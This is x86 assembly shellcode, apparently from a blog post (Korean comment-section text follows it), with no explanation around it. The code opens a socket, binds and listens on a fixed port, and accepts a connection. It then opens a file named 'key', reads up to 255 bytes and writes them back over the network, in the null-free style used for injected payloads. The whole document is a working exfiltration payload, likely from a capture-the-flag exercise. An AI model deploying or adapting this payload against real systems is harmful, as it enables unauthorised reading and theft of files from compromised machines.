movb $6, %al
movzx %al, %eax
push %eax #push 6
xor %eax, %eax
inc %eax
push %eax #push 1
inc %eax
push %eax #push 2
xor %eax, %eax
push %eax
movb $97, %al
int $0x80 ## %esi = socket(2,1,6)
mov %eax, %esi
xor %eax, %eax
push %eax
push %eax
push %eax
push $0xAAAA0210
mov %esp, %ebx
movb $0x10, %al
push %eax
push %ebx
push %esi
push %esi
movb $104, %al ## bind(port=0xAAAA)
int $0x80
pop %esi
xor %eax, %eax
inc %eax
push %eax #push 1
push %esi
push %esi
movb $106, %al
int $0x80 ## listen(1)
pop %esi
xor %eax, %eax
push %eax
push %eax
push %esi
push %esi
movb $30, %al
int $0x80 ## accept
mov %eax, %edi
# eax, ebx = temporary
# ecx = buffer
# edx = fd
thestart:
xorl %eax, %eax
popl %ebx
push %eax
push %eax
push %ebx #file path
push %ebx #dummy
movb $5, %al
int $0x80
movl %eax, %edx
######## edx=open (filepath, 0, 0)
movl %esp, %ecx
movw $0x101, %cx
xorl %eax, %eax
movb $0xff, %al
push %eax # read 255 bytes
push %ecx # buffer
push %edx # fd
push %edx # dummy
movb $3, %al
int $0x80
movl %eax, %edx
######## read (edx, ecx, 255)
xorl %eax, %eax
movb $0xff, %al
push %eax ## 255 bytes
push %ecx ## buff
push %edi
push %eax #dummy
movb $4, %al
int $0x80
######## write (1, ecx, 255)
path:
call thestart
.ascii "key\0"
0 개의 댓글:
댓글 쓰기